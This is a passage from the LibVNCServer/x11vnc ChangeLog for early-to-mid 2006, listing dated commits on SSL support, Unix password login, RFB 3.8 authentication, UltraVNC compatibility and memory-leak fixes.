52372006-07-05 runge <runge>
5238
5239 * x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong
5240 place for old compilers.
5241
52422006-07-04 runge <runge>
5243
5244 * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c,
5245 x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return
5246 values.
5247
52482006-07-04 runge <runge>
5249
5250 * x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c,
5251 x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps.
5252
52532006-07-04 runge <runge>
5254
5255 * configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c,
5256 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c,
5257 x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove
5258 compiler warnings; HP-UX tweaks.
5259
52602006-07-04 runge <runge>
5261
5262 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
5263 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
5264 x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c,
5265 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c,
5266 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c,
5267 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c,
5268 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
5269 x11vnc/xevents.c: x11vnc: more -unixpw work. add -license, etc.
5270 options
5271
52722006-06-24 runge <runge>
5273
5274 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5275 x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c,
5276 x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c,
5277 x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c,
5278 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
5279 x11vnc/xwrappers.c: x11vnc: misc cleanup.
5280
52812006-06-18 runge <runge>
5282
5283 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
5284 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h,
5285 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
5286 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c,
5287 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
5288 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
5289 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5290 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
5291 x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c,
5292 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5293 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5294 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h,
5295 x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds,
5296 unixpw+WAIT user fred:options
5297
52982006-06-15 dscho <dscho>
5299
5300 * VisualNaCro/README: fix typo
5301
53022006-06-15 dscho <dscho>
5303
5304 * VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl:
5305 no need for Time::HiRes to play back
5306
53072006-06-15 dscho <dscho>
5308
5309 * VisualNaCro/recorder.pl: add timing
5310
53112006-06-13 runge <runge>
5312
5313 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5314 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
5315 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
5316 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
5317 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h,
5318 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5319 x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY,
5320 HTTPONCE, -http_ssl option, Java fixes.
5321
53222006-06-09 runge <runge>
5323
5324 * x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c:
5325 x11vnc: make -display WAIT + -unixpw work on Solaris.
5326
53272006-06-08 runge <runge>
5328
5329 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
5330 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
5331 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c,
5332 x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c,
5333 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5334 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
5335 x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5336 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
5337 x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
5338 x11vnc/xwrappers.h: x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command.
5339
53402006-06-05 steven_carr <steven_carr>
5341
5342 * libvncclient/rfbproto.c, libvncserver/auth.c,
5343 libvncserver/rfbserver.c: RFB 3.8 clients are well informed
5344
53452006-06-05 steven_carr <steven_carr>
5346
5347 * libvncserver/auth.c: Better support for RFB >= 3.8 protocols
5348
53492006-06-05 steven_carr <steven_carr>
5350
5351 * libvncserver/auth.c: All security types for RFB >= 3.7 *have* to
5352 respond with a Security Result (Even rfbSecTypeNone)
5353
53542006-06-03 runge <runge>
5355
5356 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5357 x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c,
5358 x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h,
5359 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5360 x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
5361 x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5362 x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c,
5363 x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5364 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
5365 x11vnc/xevents.h, x11vnc/xwrappers.c: x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons.
5366
53672006-06-03 runge <runge>
5368
5369 * libvncserver/auth.c: move all types into handler loop.
5370
53712006-05-29 steven_carr <steven_carr>
5372
5373 * ChangeLog: Identified and removed some memory leaks associated
5374 with the Encodings RRE, CoRRE, ZLIB, and Ultra. KeyboardLedState
5375 now has portable masks defined. rfb >= 3.7 Security Type Handler
5376 list would grow 1 entry for each new client connection.
5377
53782006-05-29 steven_carr <steven_carr>
5379
5380 * libvncserver/auth.c: Security Type memory leak plugged. Leaks
5381 when rfb >= 3.7 clients connects. The security list would grow 1
5382 entry when clients connect.
5383
53842006-05-28 steven_carr <steven_carr>
5385
5386 * rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined
5387 for portability
5388
53892006-05-28 steven_carr <steven_carr>
5390
5391 * libvncserver/corre.c, libvncserver/main.c,
5392 libvncserver/private.h, libvncserver/rfbserver.c,
5393 libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c:
5394 Plugged some memory leakage
5395
53962006-05-16 steven_carr <steven_carr>
5397
5398 * libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major
5399 version
5400
54012006-05-16 steven_carr <steven_carr>
5402
5403 * libvncserver/auth.c: Specifically test for Major Version 3 added
5404
54052006-05-16 steven_carr <steven_carr>
5406
5407 * ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column
5408 output
5409
54102006-05-16 steven_carr <steven_carr>
5411
5412 * libvncserver/stats.c: Statistics output now fits in 80-column
5413 output
5414
54152006-05-16 steven_carr <steven_carr>
5416
5417 * libvncserver/cursor.c: Corrected Cursor Statistics reporting as
5418 messages
5419
54202006-05-15 dscho <dscho>
5421
5422 * libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded
5423 file
5424
54252006-05-15 steven_carr <steven_carr>
5426
5427 * libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat
5428 messages back to the client
5429
54302006-05-15 steven_carr <steven_carr>
5431
5432 * ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
5433 libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB
5434 3.8, add command line option to specify the RFB version.
5435
54362006-05-15 steven_carr <steven_carr>
5437
5438 * ChangeLog, client_examples/SDLvncviewer.c,
5439 libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c,
5440 libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c,
5441 libvncserver/hextile.c, libvncserver/main.c,
5442 libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c,
5443 libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c,
5444 libvncserver/tightvnc-filetransfer/rfbtightproto.h,
5445 libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c,
5446 rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c,
5447 x11vnc/userinput.c: The great UltraVNC Compatibility Commit
5448
54492006-05-13 runge <runge>
5450
5451 * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h,
5452 libvncclient/minilzo.c, libvncclient/minilzo.h,
5453 libvncserver/lzoconf.h, libvncserver/minilzo.c,
5454 libvncserver/minilzo.h, libvncserver/rfbserver.c,
5455 libvncserver/scale.c, vncterm/Makefile.am: fix some build issues WRT ultravnc code.
5456
54572006-05-07 runge <runge>
5458
5459 * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog,
5460 x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c,
5461 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
5462 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c,
5463 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c,
5464 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5465 x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c,
5466 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5467 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c,
5468 x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5469 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5470 x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c,
5471 x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
5472 x11vnc/xwrappers.h: x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp
5473 option, -rawfb console.
5474
54752006-05-04 steven_carr <steven_carr>
5476
5477 * ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c,
5478 rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability
5479 Encodings rfbEncodingSupportedEncodings - What encodings are
5480 supported? rfbEncodingSupportedMessages - What message types are
5481 supported? rfbEncodingServerIdentity - What is the servers
5482 version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer
5483 0.9pre)"
5484
54852006-05-04 steven_carr <steven_carr>
5486
5487 * libvncclient/rfbproto.c: UltraVNC with scaling, will send
5488 rectangles with a zero W or H We need to process the rectangle
5489 (especially if it a type that contains subrectangles or any kind of
5490 compression). UltraVNC should be fixed to prevent these useless
5491 rectangles from being sent.
5492
54932006-05-04 steven_carr <steven_carr>
5494
5495 * libvncclient/rfbproto.c, libvncclient/vncviewer.c,
5496 rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server
5497 Side Scaling'
5498
54992006-05-04 steven_carr <steven_carr>
5500
5501 * rfb/rfbproto.h: KeyboardLedState should be placed in 'various
5502 protocol extensions'
5503
55042006-05-03 steven_carr <steven_carr>
5505
5506 * ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c,
5507 libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c,
5508 libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c,
5509 libvncserver/scale.h, libvncserver/stats.c, libvncserver/tight.c,
5510 libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c,
5511 rfb/rfb.h: Client Independent Server Side Scaling is now supported
5512 Both PalmVNC and UltraVNC SetScale messages are supported
5513
55142006-05-02 steven_carr <steven_carr>
5515
5516 * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h,
5517 libvncclient/minilzo.c, libvncclient/minilzo.h,
5518 libvncclient/rfbproto.c, libvncclient/ultra.c,
5519 libvncclient/vncviewer.c, libvncserver/Makefile.am,
5520 libvncserver/lzoconf.h, libvncserver/minilzo.c,
5521 libvncserver/minilzo.h, libvncserver/rfbserver.c,
5522 libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding
5523 added. Tested against UltraVNC V1.01
5524
55252006-05-02 steven_carr <steven_carr>
5526
5527 * libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed
5528
55292006-05-02 steven_carr <steven_carr>
5530
5531 * libvncclient/vncviewer.c: Eliminate incompatible pointer
5532 assignment warning (gcc 4.0.1)
5533
55342006-05-02 steven_carr <steven_carr>
5535
5536 * libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c:
5537 signed vs unsigned warnings eliminated (gcc 4.0.1)
5538
55392006-04-30 dscho <dscho>
5540
5541 * examples/Makefile.am: include rotatetemplate.c in the tarball
5542
55432006-04-28 dscho <dscho>
5544
5545 * client_examples/SDLvncviewer.c, libvncclient/rfbproto.c,
5546 rfb/rfbclient.h: libvncclient: support changing of framebuffer size;
5547 make SDLvncviewer use it
5548
55492006-04-28 dscho <dscho>
5550
5551 * client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which
5552 are not divisible by 8
5553
55542006-04-27 dscho <dscho>
5555
5556 * ChangeLog, examples/.cvsignore, examples/Makefile.am,
5557 examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c:
5558 add rotate and flip example
5559
55602006-04-27 dscho <dscho>
5561
5562 * examples/camera.c: malloc.h should not be needed (it is missing on
5563 quite a few platforms)
5564
55652006-04-26 runge <runge>
5566
5567 * ChangeLog, classes/ssl/ssl_vncviewer,
5568 client_examples/Makefile.am, configure.ac, contrib/Makefile.am,
5569 examples/Makefile.am, libvncclient/Makefile.am,
5570 libvncserver/Makefile.am,
5571 libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am,
5572 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c,
5573 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
5574 x11vnc/x11vnc_defs.c: Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h
5575
55762006-04-17 steven_carr <steven_carr>
5577
5578 * ChangeLog, examples/Makefile.am, examples/camera.c: Added an
5579 example camera application to demonstrate another way to write a
5580 server application.
5581
55822006-04-16 runge <runge>
5583
5584 * classes/ssl/ssl_vncviewer,
5585 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5586 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
5587 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
5588 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Apache SSL gateway. More web proxy cases for Java and
5589 ssl_vncviewer.
5590
55912006-04-05 runge <runge>
5592
5593 * ChangeLog, classes/ssl/Makefile.am, classes/ssl/README,
5594 classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer,
5595 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5596 configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
5597 x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c,
5598 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c,
5599 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h,
5600 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c,
5601 x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
5602 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5603 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5604 x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert
5605 management utils for x11vnc. FBPM "support".
5606
56072006-03-28 dscho <dscho>
5608
5609 * ChangeLog, client_examples/SDLvncviewer.c,
5610 libvncclient/rfbproto.c, libvncclient/vncviewer.c,
5611 libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h,
5612 rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension
5613
56142006-03-28 runge <runge>
5615
5616 * ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am,
5617 classes/ssl/index.vnc,
5618 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
5619 -traversal.patch,
5620 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5621 configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh,
5622 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5623 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
5624 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c,
5625 x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c,
5626 x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c,
5627 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc,
5628 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
5629 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
5630 x11vnc/xwrappers.c: SSL patch for Java viewer. https support for x11vnc.
5631
56322006-03-27 dscho <dscho>
5633
5634 * AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore
5635 maxRectsPerUpdate when encoding is Zlib (thanks scarr)
5636
56372006-03-27 dscho <dscho>
5638
5639 * libvncclient/vncviewer.c: libvncclient: take -compress <level> and
5640 -quality <level> command line arguments
5641
56422006-03-12 runge <runge>
5643
5644 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
5645 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
5646 x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c,
5647 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5648 x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c,
5649 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc,
5650 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
5651 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
5652 x11vnc/xevents.c: x11vnc: add -ssl mode using libssl. Include Xdummy in misc.
5653
56542006-03-08 runge <runge>
5655
5656 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
5657 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
5658 x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h,
5659 x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5660 x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5661 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw,
5662 -debug_sel, -storepasswd homedir.
5663
56642006-03-06 runge <runge>
5665
5666 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
5667 x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c,
5668 x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c,
5669 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
5670 x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5671 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: gui speedup and fixes. -unixpw and -inetd
5672
56732006-03-05 runge <runge>
5674
5675 * configure.ac, x11vnc/ChangeLog, x11vnc/README,
5676 x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c,
5677 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
5678 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc,
5679 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
5680 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5681 x11vnc/x11vnc_defs.c: x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel
5682 and gui tweaks.
5683
56842006-03-03 runge <runge>
5685
5686 * configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
5687 x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h,
5688 x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc,
5689 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
5690 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5691 x11vnc/x11vnc_defs.c: x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via
5692 -R. Tune SMALL_FOOTPRINT.
5693
56942006-03-01 dscho <dscho>
5695
5696 * examples/Makefile.am, examples/blooptest.c, examples/example.c:
5697 Fix blooptest example
5698
56992006-03-01 dscho <dscho>
5700
5701 * rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h
5702
57032006-03-01 dscho <dscho>
5704
5705 * libvncserver/main.c: do not timeout on idle client input (with
5706 pthreads)
5707
57082006-03-01 dscho <dscho>
5709
5710 * examples/Makefile.am: if compiling with pthreads, also compile
5711 blooptest
5712
57132006-02-28 dscho <dscho>
5714
5715 * libvncserver/sockets.c: rfbCheckFds now returns the number of
5716 processed events
5717
57182006-02-28 dscho <dscho>
5719
5720 * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c,
5721 rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald)
5722
57232006-02-25 runge <runge>
5724
5725 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
5726 x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c,
5727 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
5728 x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
5729 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
5730 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5731 x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
5732 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
5733 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c,
5734 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5735 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
5736 x11vnc/xrecord.c: x11vnc: -unixpw and -stunnel. Add clipboard to input control.
5737
57382006-02-24 rohit_99129 <rohit_99129>
5739
5740 * libvncserver/main.c, rfb/rfb.h: Added method to get extension
5741 specific client data
5742
57432006-02-24 rohit_99129 <rohit_99129>
5744
5745 * ChangeLog, libvncserver/main.c,
5746 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h:
5747 Added method to get extension specific client data
5748
57492006-02-22 dscho <dscho>
5750
5751 * ChangeLog, libvncserver/auth.c, libvncserver/main.c,
5752 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add
5753 functions to unregister extensions/security types
5754
57552006-02-21 dscho <dscho>
5756
5757 * configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about
5758 order of libraries
5759
57602006-02-20 runge <runge>
5761
5762 * ChangeLog, configure.ac, libvncserver/cursor.c,
5763 libvncserver/main.c,
5764 libvncserver/tightvnc-filetransfer/filelistinfo.c,
5765 libvncserver/tightvnc-filetransfer/filetransfermsg.c,
5766 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
5767 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
5768 x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c,
5769 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: fix some non-gcc compiler warnings and signals in x11vnc
5770
57712006-02-07 runge <runge>
5772
5773 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1,
5774 x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno.
5775
57762006-02-06 runge <runge>
5777
5778 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
5779 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: -8to24 more speedups; tunables for very slow machines.
5780
57812006-02-05 runge <runge>
5782
5783 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
5784 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
5785 x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c,
5786 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
5787 x11vnc/xinerama.c: x11vnc: -8to24 speedups and improvements.
5788
57892006-01-22 runge <runge>
5790
5791 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
5792 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
5793 x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc,
5794 x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1,
5795 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and
5796 -rawfb crash
5797
57982006-01-19 runge <runge>
5799
5800 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
5801 x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c,
5802 x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1,
5803 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 now works on default depth 8 displays.
5804
58052006-01-16 runge <runge>
5806
5807 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
5808 x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24
5809
58102006-01-15 runge <runge>
5811
5812 * ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog,
5813 x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c,
5814 x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
5815 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc,
5816 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c,
5817 x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5818 x11vnc/x11vnc_defs.c: x11vnc: add -8to24 option for some multi-depth displays.
5819
58202006-01-12 runge <runge>
5821
5822 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
5823 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac:
5824 add switches for most X extensions.
5825
58262006-01-11 runge <runge>
5827
5828 * libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README,
5829 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be
5830 initialized too; in rfbDefaultLog.
5831
58322006-01-11 runge <runge>
5833
5834 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5835 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c,
